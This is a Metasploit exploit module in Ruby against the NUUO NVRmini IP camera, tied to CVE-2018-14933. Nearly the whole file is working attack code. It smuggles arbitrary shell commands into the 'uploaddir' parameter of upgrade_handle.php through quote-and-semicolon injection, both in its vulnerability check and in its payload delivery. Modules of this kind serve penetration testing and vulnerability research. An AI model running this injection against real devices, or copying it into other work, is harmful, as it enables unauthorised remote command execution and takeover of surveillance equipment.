NUUO NVRmini upgrade_handle.php Remote Command Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'NUUO NVRmini upgrade_handle.php Remote Command Execution',
        'Description' => %q{
          This exploits a vulnerability in the web application of NUUO NVRmini IP camera,
          which can be done by triggering the writeuploaddir command in the upgrade_handle.php file.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Berk Dusunur', # @berkdusunur
          'numan turle' # @numanturle
        ],
        'References' => [
          ['URL', 'https://www.berkdusunur.net/2018/11/development-of-metasploit-module-after.html'],
          ['URL', 'https://www.tenable.com/security/research/tra-2018-41'],
          ['CVE', '2018-14933'],
          ['EDB', '45070']
        ],
        'Privileged' => false,
        'Payload' => {
          'DisableNops' => true
        },
        'Platform' => %w{unix win linux},
        'Arch' => ARCH_CMD,
        'Targets' => [ ['NUUO NVRmini', {}], ],
        'DisclosureDate' => '2018-08-04',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def check
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'upgrade_handle.php'),
      'vars_get' =>
        {
          'cmd' => 'writeuploaddir',
          'uploaddir' => "';echo '#{Rex::Text.rand_text_alphanumeric(10..15)}';'"
        }
    })

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown('Could not connect to the target')
    end

    if res.code == 200 && res.body =~ /upload_tmp_dir/
      return CheckCode::Vulnerable('Successfully verified the upload vulnerability')
    end

    CheckCode::Safe('The target is not vulnerable')
  end

  def http_send_command(cmd)
    uri = normalize_uri(target_uri.path.to_s, "upgrade_handle.php")
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => uri,
      'vars_get' =>
        {
          'cmd' => 'writeuploaddir',
          'uploaddir' => "';" + cmd + ";'"
        }
    })

    unless res
      fail_with(Failure::Unknown, 'Failed to execute the command.')
    end

    res
  end

  def exploit
    http_send_command(payload.encoded)
  end
end